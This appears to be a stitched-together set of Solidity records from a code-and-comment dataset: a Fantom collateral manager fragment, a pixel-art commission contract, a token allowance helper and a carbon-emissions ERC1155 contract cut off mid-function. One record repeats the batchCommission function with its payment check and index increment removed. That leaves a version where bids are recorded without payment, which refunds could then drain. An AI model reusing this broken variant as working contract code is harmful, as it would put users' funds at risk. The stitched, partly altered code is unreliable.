return addressProvider.getCollateralPool().totalOf(_account); } // getMaxToWithdraw returns the max amount of tokens to withdraw with the given ratio. function getMaxToWithdraw(address _account, address _token, uint256 _ratio) public view returns (uint256) { return maxToWithdraw(_account, _token, _ratio); } // getMaxToMint returns the max amount of tokens to mint with the given ratio. function getMaxToMint(address _account, address _token, uint256 _ratio) public view returns (uint256) { return maxToMint(_account, _token, _ratio); } // ------------------------------------------------------------- // Reward update events routing // ------------------------------------------------------------- // rewardUpdate notifies the reward distribution to update state // of the given account. function rewardUpdate(address _account) public { addressProvider.getRewardDistribution().rewardUpdate(_account); } // ------------------------------------------------------------- // Token price calculation functions // ------------------------------------------------------------- // getPrice returns the price of given ERC20 token using on-chain oracle // expression of an exchange rate between the token and base denomination. function getPrice(address _token) public view returns (uint256) { // use linked price oracle aggregate to get the token exchange price return addressProvider.getPriceOracleProxy().getPrice(_token); } // getExtendedPrice returns the price of given ERC20 token using on-chain oracle // expression of an exchange rate between the token and base denomination and also // the number of digits of the price. function getExtendedPrice(address _token) public view returns (uint256 _price, uint256 _digits) { // use linked price oracle aggregate to get the token exchange price _price = addressProvider.getPriceOracleProxy().getPrice(_token); _digits = 10 ** uint256(addressProvider.getTokenRegistry().priceDecimals(_token)); return (_price, _digits); } modifier onlyLiquidationManager() { require(msg.sender == address(addressProvider.getFantomLiquidationManager()), "token storage access restricted"); _; } function settleLiquidationBid(address _token, address _destination, uint256 _amount) public onlyLiquidationManager { ERC20(_token).transfer(_destination, _amount); } }
checkCollateralCanDecrease checks if the specified amount of collateral can be removed from account without breaking collateral to debt ratio rule.
function checkCollateralCanDecrease(address _account, address _token, uint256 _amount) public view returns (bool) { return collateralCanDecrease(_account, _token, _amount); }
13,127,165
pragma solidity ^0.8.2; // SPDX-License-Identifier: MIT // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▀ ▀▓▌▐▓▓▓▓▓▀▀▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓ ▓▓▌▝▚▞▜▓ ▀▀ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▄▀▓▌▐▓▌▐▓▄▀▀▀▓▓▓▓▓▓▓▓▓▓▛▀▀▀▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▛▀▀▀▄▄▄▄▄▄▄▛▀▀▀▓▓▓▛▀▀▀▓▓▓▙▄▄▄▛▀▀▀▓▓▓▛▀▀▀▙▄▄▄▓▓▓▛▀▀▀▄▄▄▄▄▄▄▛▀▀▀▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▀▀▀▜▓▓▓▓▓▓▓▓▓▓▌ ▀▀▀▀▀▀▀▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▀▀▀▀▀▀▀▓▓▓▓▓▓▓▌ ▓▓▓▛▀▀▀▙▄▄▄▓▓▓▙▄▄▄▛▀▀▀▓▓▓▓▓▓▓▀▀▀▀▀▀▀▀▀▀▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓ ▐▓▓▓▌ ▐▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓ ▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▌ ▓▓▓ ▐▓▓▓ ▐▓▓▓▓▌ ▓▓▓▓▓▓▓▓ ▐▓ ▐▓▓▓ ▐▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▙▄▄▄▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▌ ▐▓ ▐▓▓▓ ▐▓▓▓▓▓▓ ▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓ ▐▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓ ▐▓▓▓▓▓ ▐▓▓▓ ▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // // // // // // oOOOOOOOo °º¤øøøøøø¤º° ooOOOOOOOOOOOOOOoo °º¤øøøøøø¤º° oOOOOOOOo // OOOOOOOOOOOOOooooooooOOOOOOOOOOOOOOOOOOOOOOOOooooooooOOOOOOOOOOOOO // OOOOººººººººººººººººººººººººººººººººººººººººººººººººººººººººººOOOO // oOOO| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |OOOo // oOO| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |OOo // ¤ oO| ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |Oo ¤ // O¤ O| ░░░░░░░░((((((((((((░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |O ¤O // O¤ O| ░░░░((((((((((((((((((░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ |O ¤O // O¤ O| ░░((((((((((((((((((((((░░░░░░░░XXXXXXXXXXXXXX░░░░░░░░ |O ¤O // O¤ O| ░░(((((( (((░░░░░░XXXXXXXXXXXXXXXXXX░░░░░░ |O ¤O // ¤ oO| ░░(((( ((░░░░XXXXXXXXXXXXXX XXXXXX░░░░ |Oo ¤ // oOO| ░░(((( ▓▓░░░░XXXXXXXX XXXXXX░░ |OOo // oOOO| ░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░XXXXXXXX XXXX░░ |OOOo // OOOO| ░░▓▓▓▓LLWWWW▓▓▓▓LLWWWW▓▓░░XXXX▓▓ ▓▓XX░░ |OOOO // OOOO| ▓▓ ((LL▓▓LL LL▓▓LL▓▓░░XX▓▓ MMMM MMMM▓▓XX░░ |OOOO // OOOO| ▓▓ ((LLLLLL LLLLLL▓▓░░XX▓▓ ▓▓\\ ▓▓\\▓▓XX░░ |OOOO // oOOO| ░░▓▓(( ▓▓░░▓▓ ▓▓ ▓▓XX░░ |OOOo // oOO| ░░▓▓(( ▓▓▓▓ ▓▓░░XX▓▓▓▓ ▓▓OO░░ |OOo // ¤ oO| ░░▓▓(( ▓▓░░XX░░▓▓ ▓▓ ▓▓XX░░ |Oo ¤ // O¤ O| ░░▓▓(( ▓▓(((((((( ▓▓░░XX░░▓▓ BB ▓▓XX░░ |O ¤O // O¤ O| ░░▓▓(((( ((▓▓▓▓▓▓(( ▓▓░░XX░░▓▓ BBBBBB ▓▓XX░░ |O ¤O // O¤ O| ░░▓▓(((((((( (( ((((▓▓XXXX░░░░▓▓ ▓▓░░XXXX |O ¤O // O¤ O| ░░▓▓((((((((((((((((((░░XXXXXX░░▓▓ ▓▓ ▓▓░░XXXXXX |O ¤O // ¤ oO| ░░▓▓░░ ▓▓((((((((((░░░░XXXXXX░░▓▓ ▓▓▓▓▓▓░░░░XXXXXX |Oo ¤ // oOO| ░░▓▓ ░░ ▓▓░░░░░░░░░░░░XXXXXX░░▓▓ ▓▓░░░░░░XXXXXX |OOo // oOOO| ░░▓▓ ░░▓▓░░░░░░░░░░░░XXXXXXHHHHHH ▓▓HH░░░░XXXXXX |OOOo // OOOOøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøøOOOO // OOOOOOOOOOOOOººººººººOOOOOOOOOOOOOOOOOOOOOOOOººººººººOOOOOOOOOOOOO // ºOOOOOOOº ¸,øøøøøøøøø,¸ ººOOOOOOOOOOOOOOºº ¸,øøøøøøø,¸ ºOOOOOOOOº // ___________________________ // | Cloudedlogic & Lara | // ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ThePixelStudio { using SafeMath for uint256; enum CommissionStatus { queued, accepted, removed } struct Commission { address payable recipient; uint bid; CommissionStatus status; } uint MAX_INT = uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); address payable public admin; mapping (uint => Commission) public commissions; uint public minBid; // the number of wei required to create a commission uint public newCommissionIndex; // the index of the next commission which should be created in the mapping bool public callStarted; // ensures no re-entrancy can occur modifier callNotStarted () { require(!callStarted); callStarted = true; _; callStarted = false; } modifier onlyAdmin { require(msg.sender == admin, "not an admin"); _; } constructor(address payable _admin, uint _minBid) { admin = _admin; minBid = _minBid; newCommissionIndex = 1; } function updateAdmin (address payable _newAdmin) public callNotStarted onlyAdmin { admin = _newAdmin; emit AdminUpdated(_newAdmin); } function updateMinBid (uint _newMinBid) public callNotStarted onlyAdmin { minBid = _newMinBid; emit MinBidUpdated(_newMinBid); } function commission (string memory _id) public callNotStarted payable { require(msg.value >= minBid, "bid below minimum"); // must send the proper amount of into the bid // Next, initialize the new commission Commission storage newCommission = commissions[newCommissionIndex]; newCommission.recipient = payable(msg.sender); newCommission.bid = msg.value; newCommission.status = CommissionStatus.queued; emit NewCommission(newCommissionIndex, _id, msg.value, msg.sender); newCommissionIndex++; // for the subsequent commission to be added into the next slot } function batchCommission (string[] memory _ids, uint[] memory _bids ) public callNotStarted payable { require(_ids.length == _bids.length, "arrays unequal length"); uint sum = 0; for (uint i = 0; i < _ids.length; i++){ require(_bids[i] >= minBid, "bid below minimum"); // must send the proper amount of into the bid // Next, initialize the new commission Commission storage newCommission = commissions[newCommissionIndex]; newCommission.recipient = payable(msg.sender); newCommission.bid = _bids[i]; newCommission.status = CommissionStatus.queued; emit NewCommission(newCommissionIndex, _ids[i], _bids[i], msg.sender); newCommissionIndex++; // for the subsequent commission to be added into the next slot sum += _bids[i]; } require(msg.value == sum, "insufficient funds"); // must send the proper amount of into the bid } function rescindCommission (uint _commissionIndex) public callNotStarted { require(_commissionIndex < newCommissionIndex, "commission not valid"); // must be a valid previously instantiated commission Commission storage selectedCommission = commissions[_commissionIndex]; require(msg.sender == selectedCommission.recipient, "commission not yours"); // may only be performed by the person who commissioned it require(selectedCommission.status == CommissionStatus.queued, "commission not in queue"); // the commission must still be queued // we mark it as removed and return the individual their bid selectedCommission.status = CommissionStatus.removed; selectedCommission.recipient.transfer(selectedCommission.bid); emit CommissionRescinded(_commissionIndex); } function increaseCommissionBid (uint _commissionIndex) public payable callNotStarted { require(_commissionIndex < newCommissionIndex, "commission not valid"); // must be a valid previously instantiated commission Commission storage selectedCommission = commissions[_commissionIndex]; require(msg.sender == selectedCommission.recipient, "commission not yours"); // may only be performed by the person who commissioned it require(selectedCommission.status == CommissionStatus.queued, "commission not in queue"); // the commission must still be queued // then we update the commission's bid selectedCommission.bid = msg.value + selectedCommission.bid; emit CommissionBidUpdated(_commissionIndex, selectedCommission.bid); } function processCommissions(uint[] memory _commissionIndexes) public onlyAdmin callNotStarted { for (uint i = 0; i < _commissionIndexes.length; i++){ Commission storage selectedCommission = commissions[_commissionIndexes[i]]; require(selectedCommission.status == CommissionStatus.queued, "commission not in the queue"); // the queue my not be empty when processing more commissions selectedCommission.status = CommissionStatus.accepted; // first, we change the status of the commission to accepted admin.transfer(selectedCommission.bid); // next we accept the payment for the commission emit CommissionProcessed(_commissionIndexes[i], selectedCommission.status); } } event AdminUpdated(address _newAdmin); event MinBidUpdated(uint _newMinBid); event NewCommission(uint _commissionIndex, string _id, uint _bid, address _recipient); event CommissionBidUpdated(uint _commissionIndex, uint _newBid); event CommissionRescinded(uint _commissionIndex); event CommissionProcessed(uint _commissionIndex, CommissionStatus _status); }
Next, initialize the new commission
function batchCommission (string[] memory _ids, uint[] memory _bids ) public callNotStarted payable { require(_ids.length == _bids.length, "arrays unequal length"); uint sum = 0; for (uint i = 0; i < _ids.length; i++){ Commission storage newCommission = commissions[newCommissionIndex]; newCommission.recipient = payable(msg.sender); newCommission.bid = _bids[i]; newCommission.status = CommissionStatus.queued; emit NewCommission(newCommissionIndex, _ids[i], _bids[i], msg.sender); sum += _bids[i]; } }
1,811,607
./partial_match/1/0xD59BcAbd00721B754aCB79FE668faE4B6A063fF8/sources/contracts/token/Token.sol
returns the allowance of an `owner` to a `spender`/
function allowance(Token token, address owner, address spender) view returns (uint256) { if (isNative(token)) { return 0; } return toIERC20(token).allowance(owner, spender); }
2,647,123
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; contract NetEmissionsTokenNetwork is Initializable, ERC1155Upgradeable, AccessControlUpgradeable { using SafeMathUpgradeable for uint256; using CountersUpgradeable for CountersUpgradeable.Counter; bool public limitedMode; // disables some features like arbitrary token transfers and issuing without proposals address public admin; // address that has permission to register dealers, transfer in limitedMode, etc. address private timelock; // DAO contract that executes proposals to issue tokens after a successful vote // Generic dealer role for registering/unregistering consumers bytes32 public constant REGISTERED_DEALER = keccak256("REGISTERED_DEALER"); // Token type specific roles bytes32 public constant REGISTERED_REC_DEALER = keccak256("REGISTERED_REC_DEALER"); bytes32 public constant REGISTERED_OFFSET_DEALER = keccak256("REGISTERED_OFFSET_DEALER"); bytes32 public constant REGISTERED_EMISSIONS_AUDITOR = keccak256("REGISTERED_EMISSIONS_AUDITOR"); // Consumer role bytes32 public constant REGISTERED_CONSUMER = keccak256("REGISTERED_CONSUMER"); /** * @dev Structure of all tokens issued in this contract * tokenId - Auto-increments whenever new tokens are issued * tokenTypeId - Corresponds to the three token types: * 1 => Renewable Energy Certificate * 2 => Carbon Emissions Offset * 3 => Audited Emissions * issuer - Address of dealer issuing this token * issuee - Address of original issued recipient this token * fromDate - Unix timestamp * thruDate - Unix timestamp * dateCreated - Unix timestamp * automaticRetireDate - Unix timestamp */ struct CarbonTokenDetails { uint256 tokenId; uint8 tokenTypeId; address issuer; address issuee; uint256 fromDate; uint256 thruDate; uint256 dateCreated; uint256 automaticRetireDate; string metadata; string manifest; string description; } // Counts number of unique token IDs (auto-incrementing) CountersUpgradeable.Counter private _numOfUniqueTokens; // Token metadata and retired balances mapping(uint256 => CarbonTokenDetails) private _tokenDetails; mapping(uint256 => mapping(address => uint256)) private _retiredBalances; // Events event TokenCreated( uint256 availableBalance, uint256 retiredBalance, uint256 tokenId, uint8 tokenTypeId, address indexed issuer, address indexed issuee, uint256 fromDate, uint256 thruDate, uint256 dateCreated, uint256 automaticRetireDate, string metadata, string manifest, string description ); event TokenRetired( address indexed account, uint256 tokenId, uint256 amount ); event RegisteredConsumer(address indexed account); event UnregisteredConsumer(address indexed account); event RegisteredDealer(address indexed account); event UnregisteredDealer(address indexed account); // Replaces constructor in OpenZeppelin Upgrades function initialize(address _admin) public initializer { __ERC1155_init(""); // Allow dealers to register consumers _setRoleAdmin(REGISTERED_CONSUMER, REGISTERED_DEALER); // Set-up admin _setupRole(DEFAULT_ADMIN_ROLE, _admin); _setupRole(REGISTERED_DEALER, _admin); _setupRole(REGISTERED_REC_DEALER, _admin); _setupRole(REGISTERED_OFFSET_DEALER, _admin); _setupRole(REGISTERED_EMISSIONS_AUDITOR, _admin); admin = _admin; // initialize timelock = address(0); limitedMode = false; } modifier consumerOrDealer() { bool isConsumer = hasRole(REGISTERED_CONSUMER, msg.sender); bool isRecDealer = hasRole(REGISTERED_REC_DEALER, msg.sender); bool isCeoDealer = hasRole(REGISTERED_OFFSET_DEALER, msg.sender); bool isAeDealer = hasRole(REGISTERED_EMISSIONS_AUDITOR, msg.sender); require( isConsumer || isRecDealer || isCeoDealer || isAeDealer, "CLM8::consumerOrDealer: msg.sender not a consumer or a dealer" ); _; } modifier onlyDealer() { bool isRecDealer = hasRole(REGISTERED_REC_DEALER, msg.sender); bool isCeoDealer = hasRole(REGISTERED_OFFSET_DEALER, msg.sender); bool isAeDealer = hasRole(REGISTERED_EMISSIONS_AUDITOR, msg.sender); require( isRecDealer || isCeoDealer || isAeDealer, "CLM8::onlyDealer: msg.sender not a dealer" ); _; } modifier onlyAdmin() { require( hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "CLM8::onlyAdmin: msg.sender not the admin" ); _; } /** * @dev returns true if the tokenId exists */ function tokenExists(uint256 tokenId) private view returns (bool) { if (_numOfUniqueTokens.current() >= tokenId) return true; return false; // no matching tokenId } /** * @dev returns true if the tokenTypeId is valid */ function tokenTypeIdIsValid(uint8 tokenTypeId) pure private returns (bool) { if ((tokenTypeId > 0) && (tokenTypeId <= 3)) { return true; } return false; // no matching tokenId } /** * @dev returns number of unique tokens */ function getNumOfUniqueTokens() public view returns (uint256) { return _numOfUniqueTokens.current(); } /** * @dev hook to prevent transfers from non-admin account if limitedMode is on */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { CarbonTokenDetails storage token = _tokenDetails[ids[i]]; // disable most transfers if limitedMode is on if (limitedMode) { // allow retiring/burning one's tokens if (to == address(0)) { continue; } // for tokenType 1 and 2, only the timelock and DAO can transfer/issue // for tokenType 3, only emissions auditors can transfer/issue // (and they are automatically retired right after) if (token.tokenTypeId != 3) { require( operator == timelock || hasRole(DEFAULT_ADMIN_ROLE, operator), "CLM8::_beforeTokenTransfer(limited): only admin and DAO can transfer tokens" ); } else { require( hasRole(REGISTERED_EMISSIONS_AUDITOR, operator), "CLM8::_beforeTokenTransfer(limited): only emissions auditors can issue audited emissions" ); } } } } /** * @dev External function to mint an amount of a token * Only authorized dealer of associated token type can call this function * @param quantity of the token to mint For ex: if one needs 100 full tokens, the caller * should set the amount as (100 * 10^4) = 1,000,000 (assuming the token's decimals is set to 4) */ function issue( address issuee, uint8 tokenTypeId, uint256 quantity, uint256 fromDate, uint256 thruDate, uint256 automaticRetireDate, string memory metadata, string memory manifest, string memory description ) public onlyDealer { return _issue( issuee, msg.sender, tokenTypeId, quantity, fromDate, thruDate, automaticRetireDate, metadata, manifest, description ); } /** * @dev Issue function for DAO (on limited mode) or admin to manually pass issuer * Must be called from Timelock contract through a successful proposal * or by admin if limited mode is set to false */ function issueOnBehalf( address issuee, address issuer, uint8 tokenTypeId, uint256 quantity, uint256 fromDate, uint256 thruDate, uint256 automaticRetireDate, string memory metadata, string memory manifest, string memory description ) public { require( (msg.sender == timelock) || hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "CLM8::issueOnBehalf: call must come from DAO or admin" ); return _issue( issuee, issuer, tokenTypeId, quantity, fromDate, thruDate, automaticRetireDate, metadata, manifest, description ); } function _issue( address _issuee, address _issuer, uint8 _tokenTypeId, uint256 _quantity, uint256 _fromDate, uint256 _thruDate, uint256 _automaticRetireDate, string memory _metadata, string memory _manifest, string memory _description ) internal { require( tokenTypeIdIsValid(_tokenTypeId), "CLM8::_issue: tokenTypeId is invalid" ); if (limitedMode) { if (_tokenTypeId == 1 || _tokenTypeId == 2 ) { require( msg.sender == timelock, "CLM8::_issue(limited): msg.sender not timelock" ); require( hasRole(DEFAULT_ADMIN_ROLE, _issuee), "CLM8::_issue(limited): issuee not admin" ); require( hasRole(REGISTERED_REC_DEALER, _issuer) || hasRole(REGISTERED_OFFSET_DEALER, _issuer), "CLM8::_issue(limited): proposer not a registered dealer" ); } else if (_tokenTypeId == 3) { require( hasRole(REGISTERED_EMISSIONS_AUDITOR, _issuer), "CLM8::_issue(limited): issuer not a registered emissions auditor" ); } } else { if (_tokenTypeId == 1) { require( hasRole(REGISTERED_REC_DEALER, _issuer), "CLM8::_issue: issuer not a registered REC dealer" ); } else if (_tokenTypeId == 2) { require( hasRole(REGISTERED_OFFSET_DEALER, _issuer), "CLM8::_issue: issuer not a registered offset dealer" ); } else if (_tokenTypeId == 3) { require( hasRole(REGISTERED_EMISSIONS_AUDITOR, _issuer), "CLM8::_issue: issuer not a registered emissions auditor" ); } } // increment token identifier _numOfUniqueTokens.increment(); // create token details CarbonTokenDetails storage tokenInfo = _tokenDetails[_numOfUniqueTokens.current()]; tokenInfo.tokenId = _numOfUniqueTokens.current(); tokenInfo.tokenTypeId = _tokenTypeId; tokenInfo.issuee = _issuee; tokenInfo.issuer = _issuer; tokenInfo.fromDate = _fromDate; tokenInfo.thruDate = _thruDate; tokenInfo.automaticRetireDate = _automaticRetireDate; tokenInfo.dateCreated = block.timestamp; tokenInfo.metadata = _metadata; tokenInfo.manifest = _manifest; tokenInfo.description = _description; super._mint(_issuee, _numOfUniqueTokens.current(), _quantity, ""); // retire audited emissions on mint if (_tokenTypeId == 3) { super._burn(tokenInfo.issuee, tokenInfo.tokenId, _quantity); _retiredBalances[tokenInfo.tokenId][tokenInfo.issuee] = _retiredBalances[tokenInfo.tokenId][tokenInfo.issuee].add(_quantity); } // emit event with all token details and balances emit TokenCreated( _quantity, _retiredBalances[tokenInfo.tokenId][tokenInfo.issuee], tokenInfo.tokenId, tokenInfo.tokenTypeId, tokenInfo.issuer, tokenInfo.issuee, tokenInfo.fromDate, tokenInfo.thruDate, tokenInfo.automaticRetireDate, tokenInfo.dateCreated, tokenInfo.metadata, tokenInfo.manifest, tokenInfo.description ); } /** * @dev mints more of an existing token * @param to reciepient of token * @param tokenId token to mint more of * @param quantity amount to mint */ function mint(address to, uint256 tokenId, uint256 quantity) external onlyAdmin { require(tokenExists(tokenId), "CLM8::mint: tokenId does not exist"); require(!limitedMode, "CLM8::mint: cannot mint new tokens in limited mode"); super._mint(to, tokenId, quantity, ""); } /** * @dev returns the token name for the given token as a string value * @param tokenId token to check */ function getTokenType(uint256 tokenId) external view returns (string memory) { require(tokenExists(tokenId), "CLM8::getTokenType: tokenId does not exist"); CarbonTokenDetails storage token = _tokenDetails[tokenId]; if (token.tokenTypeId == 1) { return "Renewable Energy Certificate"; } else if (token.tokenTypeId == 2) { return "Carbon Emissions Offset"; } return "Audited Emissions"; } /** * @dev returns the retired amount on a token * @param tokenId token to check */ function getTokenRetiredAmount(address account, uint256 tokenId) public view returns (uint256) { require(tokenExists(tokenId), "CLM8::getTokenRetiredAmount: tokenId does not exist"); uint256 amount = _retiredBalances[tokenId][account]; return amount; } /** * @dev sets the token to the retire state to disable transfers, mints and burns * @param tokenId token to set in pause state * Only contract owner can pause or resume tokens */ function retire( uint256 tokenId, uint256 amount ) external 